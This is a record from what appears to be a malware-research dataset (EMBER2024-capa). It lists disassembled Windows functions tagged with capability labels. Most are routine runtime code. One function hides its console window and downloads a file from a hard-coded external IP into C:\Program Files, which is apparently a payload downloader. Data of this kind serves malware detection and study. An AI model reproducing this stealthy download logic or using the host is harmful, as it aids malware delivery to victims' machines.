joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a5060
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4a5290
push SysReAllocStringLen
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x4a50e3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4a5290
push SysReAllocStringLen
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x4a50e3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4a52ac
push SysReAllocStringLen
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x4a516c
xor eax, eax
push ebp
push 0x4a5165
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.004a4ea8
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
je 0x4a514a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4a52cc
mov eax, dword [ebp - 8]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
je 0x4a514a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a516c
mov eax, dword [ebp - 8]
push eax
call sub.ADVAPI32.DLL_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.KERNEL32.DLL_GetThreadLocale
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4a5286
cmp byte [ebp - 0xd], 0
jne 0x4a51b3
cmp byte [ebp - 0x12], 0
je 0x4a5286
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x4a51cc
dec ebx
cmp byte [ebx], 0x2e
je 0x4a51db
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x4a51cb
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4a5286
inc ebx
cmp byte [ebp - 0x12], 0
je 0x4a5218
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4a5286
cmp byte [ebp - 0xd], 0
je 0x4a5286
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4a5286
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4a5a38
Capabilities:
Accept command line arguments

Disassembly:
sub dword [0x4be190], 1
jae 0x4a5abe
mov byte [0x4b9780], 2
mov dword [0x4bdbe0], 0x4b12e0
mov dword [0x4bdbe4], 0x4b12f8
mov byte [0x4bdc1e], 2
mov dword [0x4bdbcc], 0x4a4690
call fcn.004a2804
test al, al
je 0x4a5a7b
call fcn.004a2834
call fcn.004a28f8
mov word [0x4bdc24], 0xd7b0
mov word [0x4bddf0], 0xd7b0
mov word [0x4bdfbc], 0xd7b0
call fcn.004a4570
call sub.KERNEL32.DLL_GetCommandLineA
mov dword [0x4bdc10], eax
call fcn.004a0760
mov dword [0x4bdc0c], eax
call sub.KERNEL32.DLL_GetCurrentThreadId
mov dword [0x4bdc04], eax
ret

Function at 0x4a7b64
Capabilities:
Get common file path
Set current directory
Set environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_SetCurrentDirectoryA
dec eax
je 0x4a7b80
call fcn.004a8288
jmp 0x4a7bef
lea edx, [ebp - 0x108]
push edx
push 0x104
call sub.KERNEL32.DLL_GetCurrentDirectoryA
test eax, eax
jne 0x4a7b9c
call fcn.004a8288
jmp 0x4a7bef
cmp dword [0x4beb1c], 1
je 0x4a7bed
movsx ecx, byte [ebp - 0x108]
push ecx
call fcn.004ab914
pop ecx
cmp al, 0x41
jl 0x4a7bed
cmp al, 0x5a
jg 0x4a7bed
cmp byte [ebp - 0x107], 0x3a
jne 0x4a7bed
mov byte [ebp - 4], 0x3d
mov byte [ebp - 3], al
lea eax, [ebp - 0x108]
mov byte [ebp - 2], 0x3a
mov byte [ebp - 1], 0
push eax
lea edx, [ebp - 4]
push edx
call sub.KERNEL32.DLL_SetEnvironmentVariableA
dec eax
je 0x4a7bed
call fcn.004a8288
jmp 0x4a7bef
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4a7bf4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
lea eax, [ebp - 0x104]
push eax
push 0x104
call sub.KERNEL32.DLL_GetCurrentDirectoryA
cmp byte [ebp - 0x104], 0x61
jl 0x4a7c24
movsx edx, byte [ebp - 0x104]
sub edx, 0x61
inc edx
jmp 0x4a7c2f
movsx edx, byte [ebp - 0x104]
sub edx, 0x41
inc edx
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov esp, ebp
pop ebp
ret

Function at 0x4a7c38
Capabilities:
Get disk information
Query environment variable
Set current directory
Set environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
xor eax, eax
lea ecx, [ebp - 4]
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
lea edi, [ebp - 0x108]
mov dword [esi], eax
mov byte [ebp - 4], 0x3d
mov dl, byte [ebp + 8]
add dl, 0x40
mov byte [ebp - 3], dl
mov byte [ebp - 2], 0x3a
mov byte [ebp - 1], 0
push 0x104
push edi
push ecx
call sub.KERNEL32.DLL_GetEnvironmentVariableA
test eax, eax
jne 0x4a7c9e
mov al, byte [ebp - 3]
mov byte [edi], al
mov byte [edi + 1], 0x3a
mov byte [edi + 2], 0x5c
mov byte [edi + 3], 0
push edi
lea edx, [ebp - 4]
push edx
call sub.KERNEL32.DLL_SetEnvironmentVariableA
dec eax
je 0x4a7c9e
call fcn.004a8288
jmp 0x4a7cd9
push edi
call sub.KERNEL32.DLL_SetCurrentDirectoryA
dec eax
je 0x4a7cae
call fcn.004a8288
jmp 0x4a7cd9
mov byte [edi + 1], 0x3a
mov byte [edi + 2], 0x5c
mov byte [edi + 3], 0
mov byte [edi], 0x41
jmp 0x4a7cd4
push edi
call sub.KERNEL32.DLL_GetDriveTypeA
mov ebx, eax
test eax, eax
je 0x4a7cd2
cmp ebx, 1
je 0x4a7cd2
inc dword [esi]
inc byte [edi]
cmp byte [edi], 0x5a
jle 0x4a7cbf
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4aba2c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
test eax, eax
je 0x4aba8e
call fcn.004ab9dc
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
call fcn.004a66e4
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push edi
call fcn.004a66e4
pop ecx
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x4abb0c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [0x4bb5c4], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x4abbe6
cmp dword [0x4bb5c0], 0
jne 0x4abbe6
cmp dword [0x4bb7cc], 0
je 0x4abba0
push 0x80
lea eax, [ebp - 0x84]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x84]
push edx
call fcn.004ab8bc
add esp, 8
mov ebx, eax
test eax, eax
jne 0x4abb86
push 0x3a
lea edx, [ebp - 0x84]
push edx
call fcn.004ab8bc
add esp, 8
mov ebx, eax
test eax, eax
jne 0x4abb86
lea ebx, [ebp - 0x84]
jmp 0x4abb87
inc ebx
call fcn.004abac8
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.DLL_MessageBoxA
jmp 0x4abc21
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x4bb5c8
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.004a66e4
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x4bb5cb
push ebx
call sub.KERNEL32.DLL_WriteFile
jmp 0x4abc21
cmp dword [0x4bb5c0], 0
je 0x4abc00
cmp dword [0x4bb5c0], 0xffffffff
je 0x4abc21
push esi
call dword [0x4bb5c0]
pop ecx
mov eax, dword [0x4bb5c4]
test eax, eax
je 0x4abc21
cmp dword [0x4bb5c4], 0xffffffff
je 0x4abc21
cmp byte [eax], 0
je 0x4abc21
push esi
push eax
call fcn.004aba2c
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41f420
Capabilities:
Check if file exists
Get file attributes
Hide graphical window

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xffffffe0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x445da8
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xac
mov eax, dword [0x45a880]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xb0], 0x41b58ab3
lea eax, [ebp - 0xb0]
shr eax, 3
mov ecx, 0x45d1ea
mov dword [ebp - 0xac], str.2_16_24_11_downloadURL_32_24_8_savePath
mov dword [ebp - 0xa8], main
mov dword [eax + 0x30000000], 0xf1f1
mov dword [eax + 0x30000004], 0xf2f2f200
mov dword [eax + 0x30000008], 0xf2
mov dword [eax + 0x3000000c], 0xf3f3f3f3
call fcn.00424468
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xa0]
call fcn.0041f5d0
push str.http:__101.33.117.200__NTUSER.DXM
call sub.clang_rt.asan_dynamic_i386.dll___asan_wrap_wcslen
add esp, 4
lea ecx, [ebp - 0xa0]
push eax
push str.http:__101.33.117.200__NTUSER.DXM
call fcn.0041f660
push dword [ebp - 0x28]
lea ecx, [ebp - 0x68]
mov dword [ebp - 4], 0
call fcn.0041f5d0
push str.C:Program_FilesNTUSER.DXM
call sub.clang_rt.asan_dynamic_i386.dll___asan_wrap_wcslen
add esp, 4
lea ecx, [ebp - 0x68]
push eax
push str.C:Program_FilesNTUSER.DXM
call fcn.0041f660
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 1
call fcn.0041fbb0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x41f569
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0xa0]
push eax
call fcn.0041f060
add esp, 8
test eax, eax
jns 0x41f569
push 0x448980
push 0x45bbb0
call fcn.00417ef0
add esp, 8
mov esi, 1
jmp 0x41f576
call fcn.00417530
test eax, eax
je 0x41f574
call eax
xor esi, esi
lea ecx, [ebp - 0x68]
call fcn.0041fc30
lea ecx, [ebp - 0xa0]
call fcn.0041fc30
lea ecx, [ebp - 0xb0]
mov dword [ebp - 0xb0], 0x45e0360e
shr ecx, 3
add ecx, 0x30000000
push 0x10
push ecx
call sub.clang_rt.asan_dynamic_i386.dll___asan_set_shadow_00
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.0042449a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x4226d4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x4226f5
jl 0x4226ec
test edi, edi
jne 0x4226f5
xor eax, eax
xor edx, edx
jmp 0x4227b6
cmp dword [ebx + 0x38], 0
je 0x42270a
push eax
push edi
push dword [ebp + 8]
call fcn.004227bc
jmp 0x4227b6
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x422751
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x422751
cmp eax, edi
jb 0x42272b
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.004282a0
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x422757
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x4227ab
mov ecx, ebx
call fcn.00421f12
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x422796
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0042dd64
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x4227ab
jmp 0x422769
test edx, edx
je 0x4227ab
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0042dd64
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x425205
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x425244
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x425244
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x425244
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x425244
cmp dword [ecx + 0x74], 0xe
jbe 0x425244
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x426180
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [ebp + 8]
push 0
push 0
push dword [ebp + 0xc]
mov dword [edi], 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ebx, eax
test ebx, ebx
je 0x4261e5
lea eax, [ebx + ebx]
push esi
push eax
call fcn.00420a40
push dword [edi]
mov esi, eax
call fcn.004209e0
push 0
mov dword [edi], esi
call fcn.004209e0
add esp, 0xc
push ebx
push dword [edi]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea ecx, [ebx - 1]
pop esi
cmp eax, ecx
je 0x4261e5
push dword [edi]
call fcn.004209e0
add esp, 4
mov dword [edi], 0
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4385fa
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44f004
push 0x44effc
push str.FlsAlloc
push 0x1f
call fcn.00438465
mov esi, eax
add esp, 0x10
test esi, esi
je 0x43862e
push dword [ebp + 8]
mov ecx, esi
call dword [0x4472cc]
call esi
jmp 0x438634
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x438678
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44f014
push 0x44f00c
push str.FlsGetValue
push 0x21
call fcn.00438465
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4386af
push dword [ebp + 8]
mov ecx, esi
call dword [0x4472cc]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4386b7
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44f01c
push 0x44f014
push str.FlsSetValue
push 0x22
call fcn.00438465
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4386f1
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x4472cc]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x43ab82
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.004244d0
mov eax, dword [0x45a880]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004395ef
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x43abc4
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x43ad20
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00445490
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x45caa8]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0043bd58
mov ecx, dword [esi*4 + 0x45caa8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x43ad19
cmp eax, dword [ecx + edi + 0x24]
jne 0x43ad19
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x43ad19
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0043bd58
add esp, 0x14
test edx, edx
jl 0x43ad19
jg 0x43ac8f
test eax, eax
jb 0x43ad19
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x43ad19
jl 0x43aca9
cmp dword [ebp - 0x1008], eax
ja 0x43ad19
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x43acc7
test ebx, ebx
je 0x43ad00
cmp ecx, edi
jae 0x43ad00
mov al, byte [ecx]
cmp al, 0xd
jne 0x43ace1
lea eax, [edi - 1]
cmp ecx, eax
jae 0x43aced
cmp byte [ecx + 1], 0xa
jne 0x43aced
inc ecx
jmp 0x43aced
movzx eax, al
movsx eax, byte [eax + 0x45ac08]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x43acc7
cmp edx, ebx
jne 0x43acc7
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x43ad1e
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0042449a
leave
ret
Function at 0x43b1f0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x45caa8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x43b230
cmp byte [ebx], 0xa
jne 0x43b230
or byte [edi + eax + 0x28], 4
jmp 0x43b235
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x43b334
mov dl, byte [eax]
cmp dl, 0x1a
je 0x43b317
inc eax
cmp dl, 0xd
je 0x43b261
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x43b287
cmp eax, ecx
jae 0x43b295
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x43b249
jmp 0x43b334
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x43b312
cmp dword [ebp - 0x10], 0
je 0x43b312
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x45caa8]
test byte [eax + edi + 0x28], 0x48
je 0x43b2ec
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x43b2d7
mov byte [esi], dl
jmp 0x43b2e8
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x45caa8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x43b334
cmp byte [ebp - 1], 0xa
jne 0x43b2fb
cmp esi, ebx
jne 0x43b2fb
mov byte [esi], 0xa
jmp 0x43b333
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0043bd76
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x43b334
mov byte [esi], 0xd
jmp 0x43b333
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x45caa8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x43b331
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x43b334
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x43b33d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x45caa8]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x43b383
cmp word [ebx], dx
jne 0x43b383
or byte [eax + edi + 0x28], 4
jmp 0x43b388
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x43b4eb
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x43b4cb
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x43b3c9
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x43b3ff
cmp eax, edx
jae 0x43b40d
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x43b3a4
jmp 0x43b4eb
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x43b4c6
cmp dword [ebp - 0x18], 0
je 0x43b4c6
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x45caa8]
test byte [eax + edi + 0x28], 0x48
je 0x43b49c
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x43b460
mov word [esi], cx
jmp 0x43b497
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x45caa8]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x45caa8]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x45caa8]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x43b4eb
pop eax
cmp word [ebp - 4], ax
jne 0x43b4ac
cmp esi, ebx
jne 0x43b4ac
mov word [esi], ax
jmp 0x43b4e8
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0043bd76
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x43b4eb
push 0xd
pop eax
jmp 0x43b4a7
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x45caa8]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x43b4e5
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x43b4eb
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x43e3aa
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x43e447
push ebx
push esi
call fcn.0043e373
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0043cf32
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x43e3f4
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x43e446
push edi
push eax
call fcn.00420a40
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x43e414
call fcn.004209e0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x43e445
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0043cf32
add esp, 0x20
test eax, eax
jne 0x43e433
push edi
call fcn.004209e0
jmp 0x43e43b
push ebx
call fcn.004209e0
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x440a74
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00436eec
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x440ae3
cmp esi, dword [ebp - 4]
je 0x440ade
cmp dword [ebp + 0xc], 0
je 0x440ade
